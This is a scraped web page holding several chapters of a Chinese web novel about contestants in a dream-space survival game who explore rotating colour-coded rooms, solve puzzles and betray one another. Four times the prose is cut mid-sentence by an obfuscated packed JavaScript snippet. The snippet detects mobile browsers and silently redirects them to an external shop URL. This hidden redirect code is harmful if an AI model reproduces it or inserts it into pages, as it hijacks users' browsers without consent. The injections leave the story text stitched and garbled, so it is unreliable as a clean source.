;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578983|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是隐瞒了他已经将道具用在南柯身上这个事实。 众人虽然羡慕他得到了道具,但这个道具在当前阶段效果有限,毕竟谁都没有找到可以完全信赖的队友,于是按照先前说好的,道具归陈立阳所有,没有产生什么分歧。 “结合时间周期,我们知道黄色房间的方向,其他房间的情况就都可以确定了。”他指向他右侧的墙壁:“在整数周期后,那个方向应该就是绿色房间,我们可以轮流进去补充能量。” 他看向肖璐:“肖小姐当前的情况最危险,要不要先去?” “却之不恭。” 肖璐看着计时器上的计时,算准周期进入绿色房间。 她回来的时候扬了扬手环:“里边的激光速度太快了,这次只补充了1个能量值。” 第一轮的能量补充很快结束。 白芒和陈立阳都补充了1个能量值,南柯仍然补充了3个。其他几人很有默契地没有暴露自己补充的能量值个数。 白芒有些诧异:“我们这么走运吗,每次去绿色房间都不会碰到别的应试者。” 肖璐接过话来:“绿色房间会发射激光,我猜,除非是两个人同时进入,否则,其中有别人的情况下,绿色房间的门是打不开的。” 果然,接下来几轮的能量补充过程中,他们遇到明明按下“OPEN”按钮房间却无法打开的情况,佐证了这一猜想。对他们来说,这是当前为数不多的好消息。 经过几轮循环的能量补充,南柯率先触碰到在单个绿色房间进行能量补充的阈值。在某一个时刻,该房间的“补充能量”按钮失效,意味着能量耗尽,即使后边再有人进入,也无法再被激活。 无疑,在这次的能量补充中,南柯获取的能量值最多,足有9个。 陈立阳和白芒分别获得了2个和3个能量值,对他们团队来说是不小的收获。 他们不知道其他四人分别获得了多少能量,只是除了乔茜以外,其他人的脸色都不是很好。 齐越面露难色,但还是提出请求:“绿色房间的能量值有上限,如果下次我们再遇到绿色房间,能否……平均分配能量?” 乔茜脸上流露出不屑:“我们只约定用人海战术共同探索周围的房间,可没说平分能量这一项。” 齐越脸色也冷下来:“难道我平白无故提供道具吗?” 肖璐插进话来,面色严肃:“肖先生,你的道具只是起到辅助作用,比如这一次,我们要知道其他五个房间的颜色才能避开最后一个红色房间。”她顿了顿,继续补充:“况且,道具的使用次数只剩下两次。” “你!”齐越想要发作,但评估了一下当前的形式,最终还是冷哼一声,隐忍下去。 房间的四个“原住民”开始分崩离析。 南柯漫不经心地走到白芒身边,无视房间里的喧闹,若无其事地给他赠送了3个能量值。 众人:? 白芒:??他是不是进这个梦境前烧了高香了。 再次无视众人各种意味不明的眼神,南柯淡淡开口:“下一步,是不是该去刚刚肖小姐没有进行解密的橙色房间了?” 8. 细胞工厂(八) 众人计算好房间运转周期,七个人同时进入肖璐之前未破解的橙色房间。 房间里没有人,仍然显示着题目的中控台屏幕昭示着这个房间还没有被破解。 肖璐率先表示:“虽然现在还没有出现即时奖励,但我想,破解的房间数越多,最终结算的奖励应该会越丰厚。我记忆力一般,你们来解吧。” 南柯饶有意味地看她一眼,没说话。 张诚和乔茜兴味索然,只剩下齐越和南柯三人还没表态。 陈立阳刚要开口,齐越就抢先道:“刚刚在绿色房间我获得的能量值比较少,这次能不能让我先来试试?” 南柯看向陈立阳。 陈立阳无所谓地做出一个“请”的手势,语气不紧不慢:“当然,齐先生请便。” 齐越并不是无的放矢。 之前橙色和黄色房间的题目他都尝试过,虽然这些题对普通人来说有些难度,但以他的资质,要解出来也只是时间问题。 虽然陈立阳的谦让让他心里有一丝疑惑,但终归对奖励的欲望战胜了一切。 他是自愿进入【造梦空间】的,“从数十亿灵魂中脱颖而出”的宣传对他有致命的吸引力。 他谨慎地阅读了一遍题目,确定没什么问题,点击了开始。 然而,几秒钟后,他的表情由一开始的胜券在握逐渐变得凝重,到最后,沉得像能滴出水来。 仍然是考察图片编号没错,但这次的题面显然相较之前有了质的飞跃。 屏幕上的图片停止滚动时,齐越清楚地看到定格后的目标图片下面的题目:滚动的图片均为线条组合经过二次或三次折叠后形成的图案。下列图片是一张未折叠的原始图,请写出它折叠后对应的图片编号。注:本题具有唯一答案。 居然不是寻找原图! 如果一开始齐越就奔着这个目标去记忆滚动图片,那他还有一丝可能性可以解出来。但现在,他要将目标图片经过折叠,再和记忆里的图片进行对照,甚至还不知道折叠的方向和次数,简直难如登天! 齐越咬牙逼迫自己冷静下来仔细思考。 可想了许久,他仍没有得到确定的答案。印象里,似乎有好几张图都符合要求,可题目明确规定只有一个答案。 汗水逐渐从齐越的脑门上淌下来。 众人也意识到不对劲,纷纷围过去。 乔茜率先询问:“怎么了,题目变难了吗?” 齐越抬起头来,眼眶甚至都有些发红。 他艰难地点了点头。 没有人知道答题失败会有什么结果。 齐越感觉屏幕上的答题倒计时仿佛是他生命的倒计时。 南柯做出防备的姿势,不动声色地将陈立阳和白芒往后拉开一些距离。 肖璐安慰:“没事,解题失败应该也不会立刻出局,否则可能百分之九十的人都要死在这一步,从游戏设计的趣味性上来说……” 话还没说完,她便感觉手臂传来巨大的拉力—— 齐越发疯似地把她拉到了中控台屏幕前。 许是因为生命受到威胁,齐越发挥出比平时大两倍的力气,肖璐完全无法挣脱。 “贱人,什么时候还在给我说趣味性!去死吧!”脱去虚假的绅士外壳,齐越的表情面目狰狞。 肖璐尖叫着看着自己的手指被齐越按在了答案提交的按钮上。 红色的“wrong”字尖锐地呈现在屏幕上。 紧随其后是一道冰冷的机械女声:“答题失败,扣除四分之一生命值。提示:生命值的扣除不可逆,当生命值被完全扣除后,‘应试者’自动出局。” 提示音来自齐越的手环,看来答题失败的惩罚仅针对点击开始答题的人。 他眼神怔忡地松开肖璐的手,脱力地坐在地板上,说不上是劫后余生的喜悦多一些,还是掉了四分之一生命值的沮丧多一些。 肖璐拍着胸脯心有余悸地大口喘气,眼神嫌恶地看向齐越:“你这个疯子!” 齐越置若罔闻。 七人短暂的合作因为齐越的动作瞬间分崩离析。 肖璐提防着众人绕到一面墙壁,也不管后边是什么房间,就急忙按下“OPEN”按钮,飞快地离开了这个房间。 显然,合作崩解后,如果要展开能量值的抢夺,她在这个房间全无优势。 张诚的目光在众人身上扫视一周,也不知道出于什么想法,最终在大门完全闭合前的瞬间追随肖璐而去。 一场闹剧后,房间出现短暂的安静。 片刻,乔茜无视瘫坐在地上的齐越:“接下来怎么办?”她的目光集中在南柯和陈立阳身上。 南柯想了想,朝齐越的方向走过去,声音淡淡:“详细说说是什么题目。”他答题的时候没人靠近中控台,所以题目只有他自己知道。 清冷的声音终于将齐越从迷离的状态中唤醒。 他心有余悸地盯着中控台,眼底闪过一丝怨毒:“就是……图片滚动的速度比之前更快了。” 南柯眉头皱了皱。 她刚要说话,就感觉自己的衣袖被轻轻拉了一下。 “姐姐,我来试试。”陈立阳语气轻松,丝毫没有被刚刚系统的惩罚所影响。 南柯用眼神表示齐越肯定有所隐瞒。 陈立阳回以安心的眼神。 南柯便不说话了。 虽然相处时间不长,但她知道陈立阳不会做没有把握的事情。 在解题之前,陈立阳看向齐越:“齐先生,等下如果解题成功得到方向相关的线索,请您先离开吧。” 这是要分道扬镳的意思。 齐越冷冷地注视着他。 许久,在南柯地逼视下,他咬牙点了点头:“行。” 张诚在这个女人手里都占不了便宜,更别说是他。 得到肯定的回答,陈立阳信步走到中控台前,很快点击开始答题。 南柯和白芒跟着走过去。 齐越的目光紧盯着立在中控台前的少年,眼里藏着隐晦的阴狠和爽快。 显然,陈立阳面临的题目和他是一样的类型。 因为,当题面出现的时候,他明显看到白芒瞪大眼睛,用嘴形无声地骂了一句国粹。而南柯抬起头来,目光如利刃一般向他扫来,仿佛下一秒就要将他拆骨剥皮。 不过,齐越此刻无暇顾及这些。 他目光灼灼地盯着陈立阳,一瞬不瞬地试图在他脸上捕捉惊恐和挫败的表情,以弥补自己刚刚的失态带来的耻辱。 然而,很快他便意识到不对劲。 站在中控台前的少年大概静止了五秒钟的时间。 然后,齐越看到他漫不经心地抬起头,朝自己的方向看了一眼。 少年神色平静而没有波澜,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578984|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇角隐隐带出一丝轻蔑和玩味的笑意,仿佛在说:啊,原来如此——不过如此。 齐越心头猛地一颤。 下一秒,少年垂下眼,信手在屏幕上输入了一个数字。 手环中系统惩罚的提示音没有响起。 很快,房间里一面墙壁的“OPEN”按钮开始闪烁,印证着陈立阳答案的正确性。 于此同时,白芒充满激情的一句“卧·槽”脱口而出:“老弟,牛·逼啊!” 齐越的心情急转直下。 一时间,一种被碾压的更深刻的羞耻感在心底油然而生。 但此时不是品味失败的时候。 在确认闪烁按钮方向的那一刻,齐越以最快的速度朝那边飞奔而去。 正因为房间在时刻发生转动,只要他逃离这个房间,那么在抵达终点前,他很大概率不会再碰上南柯等人。而且凭借他手里的道具,他可以带着当前已知的信息去寻找新的合作者。 这也是他敢耍小心眼的原因。 却不曾想,计划赶不上变化。 明明他的手指距离“OPEN”按钮已经不足一公分的距离,手腕却在点击按钮前的最后一刻被紧紧攥住。 下一刻,他像一块破抹布一样被扔在房间的地板上。 南柯看他的眼神像在看一个死人。 后知后觉的恐惧感飞快拢上齐越的心头。 他不敢赌南柯的道德感,只知道以这个女人的力道,可以轻而易举折断他的脖颈。 此时,齐越已经顾不上任何颜面。他爬到南柯脚边:“我不是故意的,真的!只是刚刚太紧张了!我知道错了,饶了我吧,饶我一次,我马上滚,以后绝对不出现在你们眼前!你行行好,行吗?” 南柯冷笑一声,语气没有一丝温度:“生活教给我的第一课,就是不要放走任何一个想杀我的人。” 南柯可没有什么圣母心,有别于一般充场面的保镖,她的职业是真正的刀尖舔血,如果对背叛自己的队友抱有容忍,她早死一万次了。 只要想到刚刚陈立阳差点因为齐越的误导损失四分之一生命值,南柯就忍不住想拧断后者的脖子。 齐越眼看南柯不可能心软了,立刻切换目标,连滚带爬地朝陈立阳靠过去。白芒警惕地挡在陈立阳身前。 齐越隔着一米左右的距离目光恳切地看着陈立阳,一把鼻涕一把泪地哀求:“小兄弟,求求你,我真的知道错了。您大人有大量,别跟我计较,我再也不敢了,饶我一次吧,行吗?” 南柯终于缓下动手的动作。 她眼带征询地看向陈立阳。 白芒沉默地将眼神撇到一边去。 虽说是在一个非现实的空间里,但他只是个刚刚大学毕业走上职场的普通大学生,对“杀人”这件事仍然有本能的抵触。 然而,齐越确实心术不正,而且差点害了自己的伙伴。他又觉得这种时刻自己不应该有什么圣母心。 两相矛盾下,他选择沉默不语,让陈立阳做决定。 陈立阳轻咳一声,缓慢地绕到南柯身边。 南柯的脸色阴云密布,毫无笑意。 陈立阳想了好一会儿措辞。 半晌,他揪了揪南柯的袖子,声音温软带着诱哄,如羽毛拂过心尖:“姐姐,不生气了,好不好?” 密布的阴云蓦地散去,终于逐渐显露出清风霁月。 9. 细胞工厂(九) 说不上来的熟悉感又出现了。 南柯隐隐记得印象里似乎也有个小孩儿以这样的口吻乖巧地称呼她姐姐,但具体细节又难以捕捉。 她想问问陈立阳他们以前是不是见过,但现在显然不是时候。 她和陈立阳确认:“你想放过他?” 陈立阳摇摇头:“只是不想让姐姐因为无关紧要的人脏了手。” 听了他的话,白芒几不可查地松了一口气。 齐越抹着如浆般淌下的汗水,惴惴不安地等待南柯的宣判。 南柯厌恶地睨了他一眼,表情仍然不善,但心里的戾气已经被抚平许多。再加上,想到陈立阳对橙色房间方向线索的推测…… 她冷冷地朝齐越吐出一个字:“滚。” 齐越如获特赦,几乎在南柯话音落下的瞬间,就飞快爬起来,朝着闪烁的按钮冲过去,生怕她反悔一般。 始终保持沉默的乔茜看着他的背影,从角落里走出来,不屑地切了一声:“看着人模狗样,死到临头还不是这个德行。” 房间里只剩下四个人。 南柯安静地打量着乔茜,神色不明。 乔茜立刻意识到自己的多余。她举起双手做出投降的姿势:“姐姐容禀,我可从来没想过害你们,也没有故意隐瞒信息。” “……” 或许是乔茜并不像陈立阳那样表现得牲畜无害,南柯觉得她这句“姐姐”叫得格外诡异。 不过相较于齐越几人,她确实足够坦诚。虽然一开始隐瞒了道具的事,但也无伤大雅,甚至她也没有刻意隐瞒自己的能量值。 南柯神色淡淡地看着她:“所以,现在你可以安然离开。” 乔茜摸了摸鼻子:“那个……我能不能有第二个选择?” 南柯挑眉:“比如?” 乔茜可没有齐越那么好面子,她嬉笑着坦白自己的意图:“我能不能跟着你们呀?” 像是生怕会被秒拒,她马上表明态度:“我算是有点儿功夫底子,至少在绿色房间积攒能量值不成问题。闯关过程中有奖励什么的都归你们,道具也归你们。而且我百分之百听从指挥,有什么需要手动试错的任务都可以指派给我,只要让我活着通关就行。” 她算是看出来了,橙色房间和黄色房间的题目只会越来越难,她虽然侥幸答对过两次,但那只是入门级别,如果之后她还贸然解答,很难说不会步齐越的后尘。 她本来想着能不能凭借自己还不错的身手一路抢夺其他应试者的能量值苟到通关,但照目前的情况来看,就算有充足的能量值,如果没掌握“梦境”的运行规则,极有可能会南辕北辙,距离正确路径越来越远。 结合南柯和陈立阳之前的表现,她理所当然地把这两个人当成了“大腿”。如果把当前的经历拍成电视剧,没准儿南柯和陈立阳就是“主角”。跟着“主角”走,还愁不能通关? 和他抱有同样心思的白芒秒懂她在想什么。 他忍不住翻了个白眼:哦,你是能屈能伸的。 南柯不置可否:“我没有拿别人试错的兴趣。” 乔茜义正严词:“我是心甘情愿的!” 南柯:“……” 白芒:“……”没想到这么快就遇上了比他还要狗腿的人。 在没有其他道具的情况下,人越多确实对探索未知房间越有利。况且,气氛烘托到这儿了…… 南柯斟酌片刻,眼神冷漠地警告:“不要让我发现你耍什么花样。” 乔茜:“绝对不会!全心全意为组织服务!” 开玩笑,小命都可能要没了,还耍什么心眼,她可不是齐越那种没脑子的人。 白芒:……行吧。 四人再次建立起短暂的合作关系。 虽是暂时,但这次合作显然比之前更加稳固。 南柯没再说话,朝着闪烁按钮对面的墙壁走过去,并向陈立阳递出一个询问的眼神。 陈立阳会意,给出答案:“是新的房间。” 知道陈立阳的“超能力”后,南柯已经省去了看计时器这个过程。 陈立阳本身就是最精准的计时器。 他们的上上个房间是橙色,方向信息指向了上个黄色房间。 如果当前房间的方向信息也指向上个黄色房间,只能说明他们得到了重复的信息。 还好运气不错,得到了新的指示。 南柯果断按下了墙上的“OPEN”按钮。 乔茜:好险,她就知道没这么简单。 进入新房间后,南柯第一时间看向手环上的坐标。 比起上一个房间,当前的坐标并没有朝(0,0,0)的方向靠近,而是在和原点距离差不多的球面上平行移动了一个格。 实际上,如果无视一切规则,他们现在已经可以通过计算房间的运转周期到达“细胞”内的任意一个坐标点。但由于他们并不知道“细胞核”的具体坐标以及核的位置或许时刻在发生变化的假想,橙色房间指示的方向信息就显得尤为重要。 他们最新的落点是一个红色房间。 南柯着意观察了一下乔茜的反应,她并没有因为进入的是红色房间就表现出后悔和质疑的情绪,只是警惕地打量着四周。 南柯不动声色地移开眼。 片刻,她眉头微皱:“你们有没有闻到什么奇怪的味道?” 这是她进入的第二个红色房间。实际上,她第一次进入的时候就隐约察觉到有些不对劲的气息,只是这次更为强烈。 陈立阳语气少见地有些严肃:“是……酸的味道。” 他这么一说,乔茜也意识到了:“还真是。难道这个系统真的要模拟溶酶体把我们‘消化’掉吗?” 讨论间,一向话多的白芒此刻却表现得格外安静。 南柯忍不住回头看了他一眼。 短短几分钟的时间过去,白芒的脸色却比在上一个房间苍白了许多。他捂着喉咙,看上去不太舒服。 察觉到南柯的目光,他艰难开口:“嗓子好像有点儿疼。”像有温火在缓慢地灼烧呼吸道。 南柯脑子里闪过一丝灵光:“或许和经过的红色房间数量有关。我们四个人里,只有白芒经历了三个红色房间,剩下的人都只经历过两个。” 乔茜瞪大眼睛:“所以说,我们进入下一个红色房间的时候,也会出现这样的症状吗?” 她本以为红色房间只是扣除能量值多一些,此时白芒的情况却真实地反映了隐藏在表面规则背后的凶险。 第三个红色房间就已经有明显的不适,后边的岂不是更加要命? 虽然提前意识到这一点,南柯仍然眉头紧锁。 她强迫自己冷静下来:“既然这只是【造梦空间】的初筛,就不可能给‘应试者’留下绝对的死路。破局之法应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578985|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该就在黄色房间产出的随机道具里。” 问题是,以现在的线索,他们还没完全摸清周围房间的排布规律。 时间不等人。 南柯飞快做出决定。 她看向乔茜:“乔……” “乔茜,草头茜,可以叫我茜茜。” “……” 白芒:什么时候了还嘻嘻。 南柯简短道:“你和白芒留在这个房间,我和小孩儿去周围找道具。” 她和陈立阳的能量值加起来足够,只要不是接连遇到红色房间,她的武力值加上陈立阳堪比机器的超级大脑,向前探索几个格不成问题。 本来乔茜也可以向周围进行探索,但白芒现在状态不太好,把他一个人留在这里很难应付其他可能进来的“应试者”。 这看起来是当前的最佳方案,乔茜没提出反对意见。 她犹豫片刻,最终还是叫住陈立阳,拉起他的右手手腕。 对方下意识后退一步,想要甩开她的手。 她顺势松手,飞快将自己的手环靠近对方的手环,给他赠送了3个能量值,然后,小声对他说了句“加油”。 这两个字说得颇为情真意切,陈立阳倒有些不知所措了。 好在南柯很快叫他:“走吧。” 走之前,南柯的目光轻飘飘地在乔茜身上扫过,眼神里的戒备明显少了很多。 很快,房间里只剩下乔茜和白芒。 白芒有些疑惑地看向乔茜,声音沙哑:“看不出来,你还挺无私的。” 乔茜并没有接受这份夸赞:“哦,我只是比较有大局观。他们要是有什么闪失,你不会以为凭我跟你能从这里走出去吧?” 白芒:“你有这个觉悟,就不怕大佬带着弟弟直接走了不回来了?” “本来是怕的,”乔茜嘻嘻一笑,“但我不是无私赠送了3个能量值吗?拿人手软,更何况是南姐这种人。”她看人颇有一套,南柯都不屑利用自己去试探规则,更别提抛弃百分百信任她的队友了。 白芒一噎,还真有几分道理。 他翻了个白眼:“就知道你没安好心。” 乔茜凉凉扫他一眼:“嗓子不疼了?” “……疼。” “那就闭嘴歇会儿吧,回头再把你给疼死了。” “……” 虽然根据已知信息,红色房间周围大概率没有连续的红色,但每次回到原本的红色房间都会消耗2个能量值,而且,对身体的负面效果也有可能会发生累加,所以,当前南柯和陈立阳没办法用穷举法将周围的六个房间都探索完毕,只能朝着某个方向随机探索。 他们选择的方向是与上一个橙色房间恰好相反的方向,进入的房间又是橙色。 房间里没有人,题目尚未被破解。 陈立阳再次展示了超强的记忆力。 他三下五除二答出题目,得到了该房间的方向线索。 当下面临的问题是,他们是否要朝最终目的地的方向进行探索。 面对这个问题,陈立阳难得有些犹豫。 片刻,南柯提出看法:“我们刚刚遭遇了红色房间,说明正确的路径只能指向终点,而不能避开红色房间的潜在威胁。从我们的经历来看,规则虽然有迹可循,却对‘应试者’充满恶意。”她顿了顿,继续道:“我在想,或许……错误的路径才会是安全的路径。” 10. 细胞工厂(十) 听了南柯大胆的分析,陈立阳眼前一亮。 倒不是他的推理能力弱于南柯,只是他对规则的挖掘大致建立在绝对的逻辑基础上,而南柯却对“恶意”这种无形的东西更加敏感。 当前的线索显然无法得到更多信息,只能靠实践去尝试。 有了思路,他们果断进入闪烁按钮指示的方向。 在之后的探索中,只要遇到橙色房间,他们就选择闪烁按钮指示的方向前进,如果遇到其他颜色的房间,南柯会选择一个大致没有偏离的方向,自己先到新房间排雷,没问题的话,一个周期后陈立阳再进去。 这样就算不慎进入红色房间,也不至于两个人都受到影响。 有几次,陈立阳想要交换一下位置。 他的理由是,橙色和黄色房间有能量返还机制,如果他进去先把题目解了,南柯再进去就不会再消耗能量,他们也可以走得更远。 但南柯深思熟虑之后还是拒绝了。 她的身体素质她自己心里有数,可能多进入几次红色房间身体才会受到显著影响,但小孩儿就不一样了。她默认陈立阳对无形的“酸”的抗性和他的年龄成正比。除非有万全的把握,她并不想让他去冒险。 不过好在从结果来看,南柯的想法极有可能是对的。 他们逆着正确方向行进的过程中,经过三个橙色房间,三个绿色房间,三个黄色房间,一个红色房间都没有。 南柯本来想将绿色房间的所有剩余能量都补充完毕,但最后无奈地发现,“梦境”的机制滴水不漏,待她在某个房间补充了10个能量之后,手环上冷漠的机械女声就开始提醒她,同一“应试者”在同一绿色房间可以补充的能量上限为10。 还好,补充的能量值足够她和陈立阳探索不少房间了。 三个黄色房间中,有一个已经被破解,剩下两个都如愿爆出道具。 其中一个道具是一瓶【净化喷雾】,道具介绍说明该喷雾可以解除负面效果,使用次数为三次。 这个“梦境”中的负面效果有两种,一种是发生在齐越身上的生命值减少,规则明确说了该过程不可逆;另一种就是多次穿越红色房间带来的身体不适。 所以,喷雾的效果很有可能可以缓解被“酸”灼伤的症状。 另一个道具是在最后一个房间爆出的,形状是一块暗蓝色的八面体宝石。 陈立阳和南柯默契地对视一眼——这个道具很特殊。 他们进入这个“梦境”这么久,终于第一次触及到“细胞工厂”的核心。 道具说明是: 【生命起源于最微小的细胞。】 【每个细胞都拥有记忆生命信息的唯一心脏。】 【道具:心之共鸣。】 【效用:在特定情况下,如果持有者更加靠近细胞核心,则宝石发出蓝色光;如果更加远离细胞核心,则发出红色光。该道具为被动技能,不限使用次数。】 此时,宝石安静地悬浮在陈立阳手上,没有发光。 他若有所思地盯着宝石,小声重复:“心之共鸣……心脏……” “心脏是会跳动的!” “核的位置真的会变化!” 两道声音同时响起。 陈立阳眼底浮起隐约的笑意,“只是不知道怎么变化。” 南柯想了想:“我带上这个道具去下一个房间看看。” 经过他们的试验,每次调用道具,下方都会出现“赠送”的选项,点击“赠送”,然后靠近另一个人的手环,就可以完成赠送过程。 陈立阳有些犹豫:“姐姐,这次我去吧。” “我们一路走来都没遇上红色房间,别担心。” 南柯并不是依赖运气的人,她深知好运不会一直站在他们这边。但要是让小孩儿去冒险,就……她的道德感可能在年纪小的人面前高得不同寻常。 南柯态度肯定,陈立阳无法左右她的决定,只能面色担忧地把道具“赠送”给她。 南柯递给他一个安抚的眼神,选定方向后利落地进入下一个房间。 果然,她心里对危险的敏锐直觉应验了,新进入的房间是红色。 房间里的酸味比她经历的第二个红色房间更加浓重,嗓子里骤然涌现出的灼烧感也论证了这一点。 这种“酸”应该不是物理意义上的酸,而是“梦境”带给应试者的模拟感受,每个应试者进入红色房间的累计数量不一样,感受也相应变化。 南柯无暇顾及嗓子的不适,第一时间调出【心之共鸣】——小巧的宝石安静悬浮在她手上,没有发光。 她陷入短暂的思索。 道具不会撒谎。但她的位置已经发生变化,和“核心”的相对位置不是靠近就是远离,宝石怎么会没有反应? 南柯用计时器精准地等到房间恰好结束一轮运转周期,然后退回到上一个房间里。 她第一时间调出宝石——还是没发光。 陈立阳立刻迎上来:“姐姐,是什么颜色?” 南柯脸色平静:“红色。”出口的声音略微有些沙哑,她不太适应。 陈立阳没说话,掌心一翻,调出解除负面效果的喷雾。 南柯握住他纤细的手腕,少年微微凸起的腕骨抵在她掌心,轮廓嶙峋:“我现在感觉还好,先留着吧,之后不知道还能不能获得类似的道具。” 陈立阳不吭声,但鹿灵般的眼睛固执地盯着南柯,不愿妥协。 南柯无奈地弯了弯唇角:“什么表情,我又不是要死了。” 或许是这个“死”字刺激到小孩儿了,他清隽的眉紧紧锁起来。 南柯转移话题:“好了,一起来分析分析这个道具。刚刚我在两个房间之间切换,但宝石始终没发光,我在想原因。” 看南柯的状态确实没那么差,陈立阳只好暂且按捺下自己的担心。 他脑中回忆起这个道具的每一句解说,心里隐隐有个猜测:“道具简介的第一句话是‘在特定情况下’。或许,我们现在还没有遇到那种情况?” “有可能。”似乎目前也只有这个解释。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578986|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 南柯松开陈立阳的手腕,冷静分析:“目前看来,在经历第三个红色房间的时候,喉咙会率先出现不适感。但这种不适比较轻微,还能忍受。如果这种‘腐蚀’是循序渐进的,‘喉咙不适’和‘直接死亡’这两个状态之间应该尚有余地。我们可以等有人经过第四个红色房间的时候,再考虑要不要使用喷雾。” 陈立阳抿着唇:“我们不要往前了,原路返回吧。” 南柯有些好笑了揉了揉他的头发:“行啊,都听你的。” 她本来也打算先回去和白芒两人汇合,只是看小孩儿神情严肃的样子,忍不住想逗逗他。 南柯不经常笑,偶尔笑起来也是带着哄小孩儿的意味。 虽然如此,但霎时明艳仍会不自知地挑拨人心。 陈立阳耳尖浮起不易察觉的红晕,沉默地走向可以返回上一个房间的墙壁。 得益于陈立阳机器一般精准的计时能力,他们很快便按照原路折回最初的橙色房间。 计算好运转周期,南柯按下了白芒所在房间的按钮,把他和乔茜叫了过来。 白芒进来后一反常态地沉默。 他心有余悸地看向乔茜,眼里带着点儿惊恐,更多的是难以置信。 乔茜斜了他一眼,语气凉淡:“你就是这么看你救命恩人的?” 显然,他们留在红色房间的时候不太平静。 南柯:“怎么了?” 乔茜嘻嘻一笑:“没什么,刚刚有个人进去,想抢我们的能量值,被我解决了。” 白芒想说话,乔茜的眼神凉凉的扫过来,他的声音瞬间喑哑在喉咙里。 南柯没多少耐心:“到底怎么了?” 白芒垂下眼去。 他脑中浮现出不久前的场景—— 南柯和陈立阳离开没多久,就有个面色不善的男人进入他们的房间,照面的第一时间,男人直接翻出一把小型手枪指向白芒的脑袋。 显然,手枪也是黄色房间获得的道具。 要是不顾白芒的死活,以乔茜的身手,趁男人不备制服他应该不是什么难事。但动手前,她朝白芒的方向扫了一眼。 年轻的男生吓得上下唇都在轻轻打颤。 但居然还趁男人不注意,焦急地用嘴型朝她的方向说“快走啊你”。 乔茜在心里翻了个白眼,但时刻准备动手的状态还是放松下来,心不甘情不愿地按照男人的指令将自己的能量值和道具银龙匕赠送给他。 乔茜在现实世界都没这么憋屈过,要不是人的速度可能快不过子弹的速度,要不是…… 她斜了白芒一眼。 算了,能量没了还能补。 赠送的能量值没有低于5的上限,男人很快将他们二人身上的能量值搜刮完毕。 然而,正当乔茜打算咽下这口气自认倒霉的时候,男人却盯着白芒的方向露出邪笑:“你们这种人,想必也无法通关。不如做做好事,送哥哥一程。等哥哥通关,也会感激你们的!” 说着,他便扣动了手里的扳机! 11. 细胞工厂(十一) 白芒瞪大眼睛,甚至忘记了闪躲。 他紧紧盯着手枪的枪口,仿佛已经预料到其中飞速弹出的子弹朝自己的脑袋奔射而来。 然而,枪声响起,他身上却没有传来痛感。 因恐惧而涣散的瞳孔重新聚焦,眼前的场景终于清晰起来—— 在男人扣动扳机的前零点几秒钟,乔茜眼疾手快地冲过去拨开他的手臂,令子弹的弹道方向瞬间发生偏离。 乔茜终于找到出手的机会,心里的不满和愤怒一时间倾泻而出。 她利落地将男人扑倒在地,第一时间踢向男人右手的腕骨,手枪滚落在地上。 道具脱离拥有者后没有实体,落地很快消失不见。 然而,乔茜知道,男人马上就可以再次对手枪进行召唤。没有一秒钟的犹豫,她直接用膝盖压住男人的手臂,一拳朝他的手腕挥去。 空气中清脆的骨裂声将愣住的白芒惊醒,乔茜一拳直接击碎了男人的右手腕骨! 这还不算完。 在白芒的旁观下,乔茜利落地以同样的方式击碎了男人左手的腕骨。 刚刚还气焰嚣张的男人转眼沦为半个废人。 乔茜冷笑着看向男人,拍了拍他因疼痛而扭曲的脸:“听没听说过人心不足蛇吞象?” 男人气息紊乱,锐气全无:“我……还给你……都还给你,别杀我。” 乔茜不置可否,把男人拎起来,盯着他用腕骨断裂的左手艰难操作手环界面。 能量值和银龙匕全都回到她手里。 乔茜把玩着手里的银龙匕:“这就没了?” 男人咬咬牙,一把全息投影般的手枪悬浮在空气中。 乔茜丝毫不担心他临时反扑,她十分确定,折断腕骨的手现在连最简单的转动都做不到,更别提瞄准她扣动扳机。 在乔茜的盯梢下,男人别无选择地将手枪道具赠送给她。 “这下行了吧?”男人无力示弱的声音很好地藏起了不甘和怨毒。 乔茜盯着他看了几秒钟。 然后极轻地笑了声。 在男人的耳朵里,她的声音像来自地狱的魔鬼:“我给过你机会了。” 